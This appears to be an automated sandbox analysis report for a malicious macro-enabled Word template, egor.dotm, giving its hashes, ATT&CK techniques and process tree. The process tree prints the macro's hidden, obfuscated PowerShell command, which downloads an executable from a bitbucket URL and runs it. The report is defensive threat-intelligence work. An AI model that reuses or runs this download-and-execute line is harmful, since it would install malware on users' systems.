7a3b1e9c8df660dc1c1cf9b17411c1d6a4ffca364712c5de8ac46b1199ece1ce

Analysis

max time kernel
118s
max time network
128s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
11-11-2024 02:36

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General

Target

egor.dotm
Size

14KB
MD5

adccb9016b434427cd125ae841d1baaf
SHA1

56aa1a0e7b1ba0d2714be1e36d4a59ca4ca8a05d
SHA256

d6cdc6b64b477100f73ffa15b1fe7597e3a6c81431b527bc766f7bab27701e8b
SHA512

9b4fbb5f16570c7a5165a53ffab8680db2122e3040ed411358f2a4fee2d8a24d525ab430651b0c1d1f93f8b7471b8ba9f7b58a96b167e5245a082a0d51c35c62
SSDEEP

384:tmtl44XewvWv7lC78WQ6Su6akwLWdxdFYB3w:ql44XHvWTu8mSzakw6LqG

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://bitbucket.org/damnman/damn/downloads/Zos.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2344	2816	powershell.exe	30

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2344	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2816	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2344	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2344	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2816	WINWORD.EXE
2816	WINWORD.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2816 wrote to memory of 2344	2816	WINWORD.EXE	31
PID 2816 wrote to memory of 2344	2816	WINWORD.EXE	31
PID 2816 wrote to memory of 2344	2816	WINWORD.EXE	31
PID 2816 wrote to memory of 2344	2816	WINWORD.EXE	31
PID 2816 wrote to memory of 1840	2816	WINWORD.EXE	34
PID 2816 wrote to memory of 1840	2816	WINWORD.EXE	34
PID 2816 wrote to memory of 1840	2816	WINWORD.EXE	34
PID 2816 wrote to memory of 1840	2816	WINWORD.EXE	34

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\egor.dotm"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2816
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden Start-BitsTransfer -Sou https://bitbucket.org/damnman/damn/downloads/Zos.e`xe -Dest C:\Users\Public\Zos.e`xe;C:\Users\Public\Zos.e`xe
  2⤵
  - Process spawned unexpected child process
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2344
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1840

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2816-0-0x000000002F731000-0x000000002F732000-memory.dmp

Filesize
4KB

Download
memory/2816-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2816-2-0x000000007174D000-0x0000000071758000-memory.dmp

Filesize
44KB

Download
memory/2816-6-0x0000000006110000-0x0000000006210000-memory.dmp

Filesize
1024KB

Download
memory/2816-10-0x000000007174D000-0x0000000071758000-memory.dmp

Filesize
44KB

Download
memory/2816-11-0x0000000006110000-0x0000000006210000-memory.dmp

Filesize
1024KB

Download